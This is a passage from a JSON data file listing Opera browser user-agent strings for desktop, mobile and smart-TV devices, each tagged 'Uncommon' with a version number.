OMI\\/4.4.22.20.E102586-1.136\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.80\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36 OPR\\/35.0.2066.82\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.50\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36 OPR\\/51.0.2830.34\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; Edition Indonesian Local; en) Presto\\/2.10.289 Version\\/12.02\"},{\"commonality\":\"Uncommon\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; RCT6773W22 Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/33.0.1750.166 Safari\\/537.36 OPR\\/20.0.1396.73172\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36 OPR\\/40.0.2308.62\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36 OPR\\/51.0.2830.55\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36 OPR\\/36.0.2130.65\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36 OPR\\/36.0.2130.32\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36 OPR\\/39.0.2256.48\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2832.2 Safari\\/537.36 OPR\\/41.0.2349.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.881\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.80\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.95 Safari\\/537.36 OPR\\/15.0.1147.153\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36 OPR\\/33.0.1990.115\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36 OPR\\/43.0.2442.806\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.52 Safari\\/537.36 OPR\\/31.0.1889.50 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; Windows 95) Opera 6.01  [en]\"},{\"commonality\":\"Uncommon\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/36.0.1985.143 Safari\\/537.36 OPR\\/23.0.1522.77 (Edition Campaign 16)\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.71\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; Edition Campaign 21) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.91 Safari\\/537.36 OPR\\/27.0.1689.54 (Edition FCR)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.6.8) Presto\\/2.12.388 Version\\/12.12\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36 OPR\\/36.0.2130.32\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.52 Safari\\/537.36 OPR\\/31.0.1889.50 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.71 Safari\\/537.36 OPR\\/33.0.1990.43\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36 OPR\\/40.0.2308.90\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36 OPR\\/40.0.2308.54\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.1144 (Edition Yx)\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.81 Safari\\/537.36 OPR\\/30.0.1835.59 (Edition RMV)\"},{\"commonality\":\"Uncommon\",\"version\":\"9.4\",\"ua\":\"Opera 9.4 (Windows NT 6.1; U; en)\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1449\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36 OPR\\/38.0.2220.31\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.137\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.39\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; en) Presto\\/2.10.289 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.108 Safari\\/537.36 OPR\\/50.0.2762.45\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.881\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36 OPR\\/45.0.2552.635\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Linux armv7l) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2125.122 Safari\\/537.36 OPR\\/25.0.1620.0 OMI\\/4.3.18.7.Dominik.0\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36 OPR\\/37.0.2178.54\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1218\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36 OPR\\/32.0.1948.25\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36 OPR\\/41.0.2353.46\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36 OPR\\/51.0.2830.26\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1; A1601 Build\\/LMY47I) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Mobile Safari\\/537.36 OPR\\/37.0.2192.110486\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.118 Safari\\/537.36 OPR\\/28.0.1750.51\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.71 Safari\\/537.36 OPR\\/33.0.1990.43\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36 OPR\\/38.0.2220.31\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Win64; x64) Presto\\/2.12.388 Version\\/12.14\"},{\"commonality\":\"Uncommon\",\"version\":\"45.1\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; Xperia Z3 Dual Build\\/LMY49J) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.141 Mobile Safari\\/537.36 OPR\\/45.1.2246.125351\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; zh-sg) Presto\\/2.9.181 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 OPR\\/52.0.2871.40\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36 OPR\\/36.0.2130.32\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.0.39.10 (JVC, Mxl661L32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.1144 (Edition Yx)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Win64; x64) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.82 Safari\\/537.36 OPR\\/35.0.2066.37\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.39.24.3 (BUSH, Mxl661L32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36 OPR\\/49.0.2725.64\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.6 Safari\\/537.36 OPR\\/34.0.1996.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/36.0.1985.143 Safari\\/537.36 OPR\\/23.0.1522.77 (Edition Campaign 37)\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.90 Safari\\/537.36 OPR\\/29.0.1795.47\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.80\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Android 4.0.4; Linux; Opera Mobi\\/ADR-1301080958) Presto\\/2.11.355 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.50\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36 OPR\\/39.0.2256.71\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.01\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.108 Safari\\/537.36 OPR\\/50.0.2762.45\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; BLU ADVANCE 4.0 L Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Mobile Safari\\/537.36 OPR\\/37.0.2192.105088\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; en) Presto\\/2.6.30 Version\\/10.63\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux zbov; U; en-GB) Presto\\/2.10.254 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.0.34.15 (HITACHI, Mxl661LG32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2824.2 Safari\\/537.36 OPR\\/41.0.2329.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; U; en) Presto\\/2.10.289 Version\\/12.02\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.517\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36 OPR\\/39.0.2256.48\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.52\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; Edition Campaign 06) Presto\\/2.12.388 Version\\/12.18\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Linux mips ; U; HbbTV\\/1.1.1 (; Philips; ; ; ; ) CE-HTML\\/1.0 NETTV\\/3.2.4; en) Presto\\/2.6.33 Version\\/10.70\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.99 (Windows NT 5.1; U; en-US) Presto\\/9.9.9\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Linux mips ; U; HbbTV\\/1.1.1 (; Philips; ; ; ; ) CE-HTML\\/1.0 NETTV\\/3.2.1; en) Presto\\/2.6.33 Version\\/10.70\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.91 Safari\\/537.36 OPR\\/48.0.2685.32\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.62 (X11; Linux x86_64; U; hu, en_US) Presto\\/2.1.1\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.152 Safari\\/537.36 OPR\\/29.0.1795.60\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; BRAVIA 4K 2015 Build\\/LMY48E.S223) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.101 Safari\\/537.36 OPR\\/28.0.1754.0 OMI\\/4.4.22.20.E102586-1.136\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Spice M5885   Browser\\/Opera  Opera\\/9.80 (MTK; U; hi-IN) Presto\\/2.5.28 Version\\/10.10\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.52 Safari\\/537.36 OPR\\/15.0.1147.100\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/29.0.1547.57 Safari\\/537.36 OPR\\/16.0.1196.62\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36 OPR\\/39.0.2256.43\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.62 Safari\\/537.36 OPR\\/49.0.2725.34\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36 OPR\\/32.0.1948.25\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2125.58 Safari\\/537.36 OPR\\/25.0.1614.18 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36 OPR\\/38.0.2220.29\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.9.1) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.39.24.3 (POLAROID, Mxl661L32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1) Presto\\/2.12.388 Version\\/12.11\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB95\\/3.6.3.c (TOSHIBA, Si2156LG32, wireless)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.898\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36 OPR\\/35.0.2066.92\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36 OPR\\/51.0.2830.55\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.91 Safari\\/537.36 OPR\\/48.0.2685.32\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36 OPR\\/31.0.1889.174\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1) Presto\\/2.12.388 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; SM-P600 Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2044.98679\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.55\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36 OPR\\/37.0.2178.31\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.71\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36 OPR\\/33.0.1990.58\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36 OPR\\/35.0.2066.68\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36 OPR\\/46.0.2597.26\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1; A1601 Build\\/LMY47I) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Mobile Safari\\/537.36 OPR\\/37.0.2192.107169\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36 OPR\\/33.0.1990.58\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.517\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36 OPR\\/40.0.2308.81\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Window NT 6.2; Win64; x64) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; ru) Presto\\/2.7.39 Version\\/11.00\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; 